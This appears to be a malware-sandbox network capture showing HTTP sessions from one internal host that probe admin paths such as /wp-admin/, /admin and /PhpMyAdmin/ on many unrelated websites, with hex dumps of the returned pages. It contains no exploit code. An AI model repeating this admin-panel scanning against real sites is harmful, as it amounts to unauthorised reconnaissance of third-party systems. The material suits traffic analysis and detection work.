2023-12-20 02:13:37 UTC	229	OUT	GET /wp-admin/ HTTP/1.1 Host: www.plastikolor.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.plastikolor.com/wp-login.php
2023-12-20 02:13:38 UTC	282	IN	HTTP/1.1 403 Forbidden Date: Wed, 20 Dec 2023 02:13:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: Apache X-Powered-By: PHP/7.0 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0
2023-12-20 02:13:38 UTC	2694	IN	Data Raw: 61 37 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 66 72 2d 46 52 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 c2 bb 20 45 72 72 65 75 72 3c 2f 74 69 74 6c Data Ascii: a7a<!DOCTYPE html><html lang="fr-FR"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><meta name='robots' content='noindex,follow' /><title>WordPress Erreur</titl

Session ID	Source IP	Source Port	Destination IP	Destination Port
364	192.168.2.4	49314	13.248.169.48	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	325	OUT	GET /admin HTTP/1.1 Host: topshelfgames.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:38 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:37 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Q0i8fHzRFwb5OU1T3F1t3jZJZNPabEw8Tmo2hlWqwqKEEFcq1/62PRxCXXEfAFUHjXy3KXFT+E+NeLmry8ax3A Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:38 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
365	192.168.2.4	49525	65.8.178.81	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	187	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: www.atelcommunications.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:38 UTC	1761	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Date: Wed, 20 Dec 2023 02:13:38 GMT Cache-Control: public, max-age=31536000 access-control-allow-origin: * access-control-allow-methods: GET, POST, OPTIONS access-control-allow-headers: Content-Type content-security-policy-report-only: default-src 'self' *.a8b.co strict-transport-security: max-age=31536000; includeSubDomains referrer-policy: strict-origin-when-cross-origin permissions-policy: accelerometer=(self), ambient-light-sensor=(self), autoplay=(self), battery=(self), camera=(self), cross-origin-isolated=(self), display-capture=(self), document-domain=(self), encrypted-media=(self), execution-while-not-rendered=(self), execution-while-out-of-viewport=(self), fullscreen=(self), geolocation=(self), gyroscope=(self), keyboard-map=(self), magnetometer=(self), microphone=(self), midi=(self), navigation-override=(self), payment=(self), picture-in-picture=(self), publickey-credentials-get=(self), screen-wake-lock=(self), sync-xhr=(self), usb=(self), web-share=(self), xr-spatial-tracking=(self), clipboard-read=(self), clipboard-write=(self), gamepad=(self), speaker-selection=(self), conversion-measurement=(self), focus-without-user-activation=(self), hid=(self), idle-detection=(self), interest-cohort=(self), serial=(self), sync-script=(self), trust-token-redemption=(self), unload=(self), window-management=(self), vertical-scroll=(self) x-frame-options: SAMEORIGIN x-content-type-options: nosniff Vary: Accept-Encoding X-Cache: Error from cloudfront Via: 1.1 eca8616127916fa339e7718294322b64.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MIA3-C4 X-Amz-Cf-Id: UbTTl1Za9-0w0--ItxtUTFZdDBYEGUxbj4m8wxs3ACbl5HtWmWV_lQ==
2023-12-20 02:13:38 UTC	11586	IN	Data Raw: 32 64 33 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 61 38 62 2e 63 6f 2f 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 69 6d 61 67 65 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 6c 6f 67 6f 2e 70 6e 67 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 Data Ascii: 2d3a<!DOCTYPE html><html lang="en"><head> <link rel="preconnect" href="https://ajax.googleapis.com" /> <link rel="preconnect" href="https://code.a8b.co/" /> <link rel="preload" as="image" href="/images/logo.png"> <link rel="preconnect
2023-12-20 02:13:38 UTC	12453	IN	Data Raw: 33 30 39 64 0d 0a 65 2e 6d 69 6e 2e 6a 73 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 2e 63 61 72 6f 75 73 65 6c 27 29 2e 63 79 63 6c 65 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 20 2f 2f 68 65 61 64 2e 6c 6f 61 64 0a 0a 20 20 20 20 20 20 20 20 68 65 61 64 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 61 5b 68 72 65 66 3d 22 23 22 5d 2c 2e 70 6f 73 74 3e 68 31 3e 61 27 29 2e 63 6c 69 63 6b 28 66 75 6e 63 74 69 6f 6e 20 28 65 76 65 6e 74 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0a 20 20 20 20 20 Data Ascii: 309de.min.js', function () { $('.carousel').cycle(); }); //head.load head.ready(function () { $('a[href="#"],.post>h1>a').click(function (event) { event.preventDefault();
2023-12-20 02:13:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
366	192.168.2.4	49374	3.33.130.190	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	326	OUT	GET /admin HTTP/1.1 Host: lsmnutrition.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:38 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:37 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_BHRfZFo4HTk4Js6w1hVzSRWkmaAY9qf+ArA9uztw5keAfh5uCAf/LHHFWNmuR1sGgSUJ1OxpWkgOdhsm3/Ei1Q Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:38 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
367	192.168.2.4	49539	3.33.130.190	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	326	OUT	GET /admin HTTP/1.1 Host: mobiamericas.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:38 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:38 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_hB1shm2t2rO8Pqt2JvP6GV6ApkjBbGwIgwHhBMxoRLGXwoLAragFZxz3GwunlxCs0u1/R1rVJQkSlKUEEEbNYg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:38 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
368	192.168.2.4	49613	34.149.87.45	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	176	OUT	GET /pma HTTP/1.1 Host: www.u90soccercenter.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:38 UTC	1080	IN	HTTP/1.1 404 Not Found Content-Length: 2929 Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038418.09516548292277230598 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:38 GMT X-Served-By: cache-dfw-kdfw8210026-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLvRKfhx2uNN4hv3eFGgKFZEa0sM5c8dDUFHeNaFq0qDu,2d58ifebGbosy5xc+FRalgdktGQgNmt2mDw78E21pvsIZ7BrAm3E9MRd2eb41A5be/QkHg89F/wEdJNu+hnHLQ==,2UNV7KOq4oGjA5+PKsX47Ad3BAkeAb9lWxcyN70+/DFYgeUJqUXtid+86vZww+nL,S+3YDkrdjZ6isF/aTRkOdUjmz5YjnwZx7K9uZU5HfPQ=,P9YodI6ewFhbf/YtWyJZ2cRJsHjpsrbYq+av+BuPZ10=,0gGrL7iazMoiuqlb7dEO3WO6CuZTil5ccmCAr6IM8iDq4CE+Ostk6dcoTXCt3mCrRA65vs83XfDBPfXS0pi9uA== Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:38 UTC	172	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user
2023-12-20 02:13:38 UTC	1252	IN	Data Raw: 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: -scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <meta name=
2023-12-20 02:13:38 UTC	1252	IN	Data Raw: 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f Data Ascii: -party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/
2023-12-20 02:13:38 UTC	253	IN	Data Raw: 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
369	192.168.2.4	65139	83.98.155.23	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	170	OUT	GET / HTTP/1.1 Host: www.a2b-internet.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:38 UTC	345	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:38 GMT Server: Apache/2 Vary: User-Agent,Accept-Encoding Upgrade: h2,h2c Connection: Upgrade, close Accept-Ranges: bytes Content-Length: 135277 Cache-Control: max-age=0, public Expires: Wed, 20 Dec 2023 02:13:38 GMT X-Powered-By: WP Rocket/3.14.1 Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:38 UTC	7847	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6e 6c 2d 4e 4c 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 27 6a 73 27 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 3c 73 63 72 69 70 74 20 69 64 3d 22 64 69 76 69 61 72 65 61 2d 6c 6f 61 64 65 72 22 3e 77 69 6e 64 6f 77 2e 44 69 Data Ascii: <!DOCTYPE html><html lang="nl-NL"><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><script type="text/javascript">document.documentElement.className = 'js';</script><script id="diviarea-loader">window.Di
2023-12-20 02:13:38 UTC	8000	IN	Data Raw: 61 6e 74 3b 77 69 64 74 68 3a 31 33 25 7d 2e 65 74 5f 70 62 5f 64 69 76 69 64 65 72 5f 30 3a 62 65 66 6f 72 65 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6c 6f 72 3a 23 66 33 39 34 31 65 7d 2e 65 74 5f 70 62 5f 74 65 78 74 5f 32 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 38 65 6d 7d 62 6f 64 79 20 23 70 61 67 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 65 74 5f 70 62 5f 73 65 63 74 69 6f 6e 20 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 5f 30 7b 63 6f 6c 6f 72 3a 23 66 66 66 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 37 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 62 6f 64 79 20 23 70 61 67 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 65 74 5f 70 62 5f 73 65 63 74 69 6f Data Ascii: ant;width:13%}.et_pb_divider_0:before{border-top-color:#f3941e}.et_pb_text_2{font-weight:300;line-height:1.8em}body #page-container .et_pb_section .et_pb_button_0{color:#ffffff!important;border-radius:70px;font-size:14px}body #page-container .et_pb_sectio
2023-12-20 02:13:38 UTC	8000	IN	Data Raw: 74 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 44 65 20 6d 65 65 73 74 20 65 66 66 69 63 69 c3 ab 6e 74 65 20 72 6f 75 74 65 20 6e 61 61 72 20 69 6e 74 65 72 6e 65 74 22 2c 22 70 75 62 6c 69 73 68 65 72 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 32 62 2d 69 6e 74 65 72 6e 65 74 2e 63 6f 6d 2f 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 7d 2c 22 70 6f 74 65 6e 74 69 61 6c 41 63 74 69 6f 6e 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 53 65 61 72 63 68 41 63 74 69 6f 6e 22 2c 22 74 61 72 67 65 74 22 3a 7b 22 40 74 79 70 65 22 3a 22 45 6e 74 72 79 50 6f 69 6e 74 22 2c 22 75 72 6c 54 65 6d 70 6c 61 74 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 32 62 2d 69 6e 74 65 72 6e 65 74 2e 63 6f 6d 2f 3f 73 3d 7b 73 65 61 72 63 68 5f 74 Data Ascii: t","description":"De meest efficinte route naar internet","publisher":{"@id":"https://www.a2b-internet.com/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.a2b-internet.com/?s={search_t
